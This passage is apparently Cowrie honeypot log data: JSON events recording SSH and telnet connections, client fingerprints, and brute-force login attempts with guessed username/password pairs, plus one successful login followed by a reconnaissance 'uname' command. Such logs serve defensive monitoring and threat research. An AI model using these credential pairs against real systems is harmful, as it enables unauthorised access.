a2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:37.265569Z","src_ip":"192.109.200.78","session":"080475e2cb5f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"*****","message":"login attempt [steam/*****] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:37.585464Z","src_ip":"192.109.200.78","session":"080475e2cb5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":42048,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cbe3af45037","protocol":"telnet","message":"New connection: 5.42.229.203:42048 (159.203.135.109:23) [session: 3cbe3af45037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:37.598160Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:38.089291Z","src_ip":"192.109.200.78","session":"080475e2cb5f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:38.092467Z","src_ip":"192.109.200.78","session":"080475e2cb5f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:38.178073Z","src_ip":"192.109.200.78","session":"080475e2cb5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:38.183252Z","src_ip":"192.109.200.78","session":"080475e2cb5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33314,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccaa93d50c63","protocol":"ssh","message":"New connection: 192.109.200.78:33314 (10.17.0.5:22) [session: ccaa93d50c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:41.324004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:41.328470Z","src_ip":"192.109.200.78","session":"ccaa93d50c63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:41.412047Z","src_ip":"192.109.200.78","session":"ccaa93d50c63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:41.658149Z","src_ip":"192.109.200.78","session":"ccaa93d50c63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44388,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c558cfe3f9c","protocol":"ssh","message":"New connection: 159.203.92.129:44388 (159.203.135.109:22) [session: 9c558cfe3f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:42.649331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:42.653582Z","src_ip":"159.203.92.129","session":"9c558cfe3f9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:42.746004Z","src_ip":"159.203.92.129","session":"9c558cfe3f9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"O123456","message":"login attempt [admin/O123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:42.767366Z","src_ip":"159.203.92.129","session":"9c558cfe3f9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:42.832821Z","src_ip":"192.109.200.78","session":"ccaa93d50c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:43.774097Z","src_ip":"159.203.92.129","session":"9c558cfe3f9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33318,"dst_ip":"10.17.0.5","dst_port":22,"session":"f831679207f4","protocol":"ssh","message":"New connection: 192.109.200.78:33318 (10.17.0.5:22) [session: f831679207f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:45.484751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:45.488532Z","src_ip":"192.109.200.78","session":"f831679207f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:45.573131Z","src_ip":"192.109.200.78","session":"f831679207f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpUser","password":"ftpUser","message":"login attempt [ftpUser/ftpUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:45.820880Z","src_ip":"192.109.200.78","session":"f831679207f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.64048099517822,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:46.908569Z","src_ip":"206.189.71.75","session":"553d2d0ac35c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:47.016753Z","src_ip":"192.109.200.78","session":"f831679207f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47740,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff2da4c055a6","protocol":"ssh","message":"New connection: 192.109.200.78:47740 (10.17.0.5:22) [session: ff2da4c055a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:49.755883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:49.759631Z","src_ip":"192.109.200.78","session":"ff2da4c055a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:49.841273Z","src_ip":"192.109.200.78","session":"ff2da4c055a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:50.089535Z","src_ip":"192.109.200.78","session":"ff2da4c055a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:51.176728Z","src_ip":"192.109.200.78","session":"ff2da4c055a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47750,"dst_ip":"10.17.0.5","dst_port":22,"session":"129c0e0e9292","protocol":"ssh","message":"New connection: 192.109.200.78:47750 (10.17.0.5:22) [session: 129c0e0e9292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:53.875287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:53.879633Z","src_ip":"192.109.200.78","session":"129c0e0e9292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:53.963659Z","src_ip":"192.109.200.78","session":"129c0e0e9292","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:54.601050Z","src_ip":"192.109.200.78","session":"129c0e0e9292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:55.735071Z","src_ip":"192.109.200.78","session":"129c0e0e9292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47758,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5b3cca8ca43","protocol":"ssh","message":"New connection: 192.109.200.78:47758 (10.17.0.5:22) [session: f5b3cca8ca43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:58.010421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:58.015111Z","src_ip":"192.109.200.78","session":"f5b3cca8ca43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:58.101176Z","src_ip":"192.109.200.78","session":"f5b3cca8ca43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:58.348675Z","src_ip":"192.109.200.78","session":"f5b3cca8ca43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:59.434116Z","src_ip":"192.109.200.78","session":"f5b3cca8ca43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.196038007736206,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:01.389570Z","src_ip":"5.42.229.203","session":"165d65a5f9b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.483771324157715,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:01.681192Z","src_ip":"5.42.229.203","session":"1608899e9cfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52374,"dst_ip":"10.17.0.5","dst_port":22,"session":"422ffe73343e","protocol":"ssh","message":"New connection: 192.109.200.78:52374 (10.17.0.5:22) [session: 422ffe73343e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:02.064298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:02.071935Z","src_ip":"192.109.200.78","session":"422ffe73343e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:02.158898Z","src_ip":"192.109.200.78","session":"422ffe73343e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123456","message":"login attempt [app/app123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:02.630915Z","src_ip":"192.109.200.78","session":"422ffe73343e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:03.719671Z","src_ip":"192.109.200.78","session":"422ffe73343e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52404,"dst_ip":"10.17.0.5","dst_port":22,"session":"013144e6b0a3","protocol":"ssh","message":"New connection: 192.109.200.78:52404 (10.17.0.5:22) [session: 013144e6b0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:07.341994Z"}
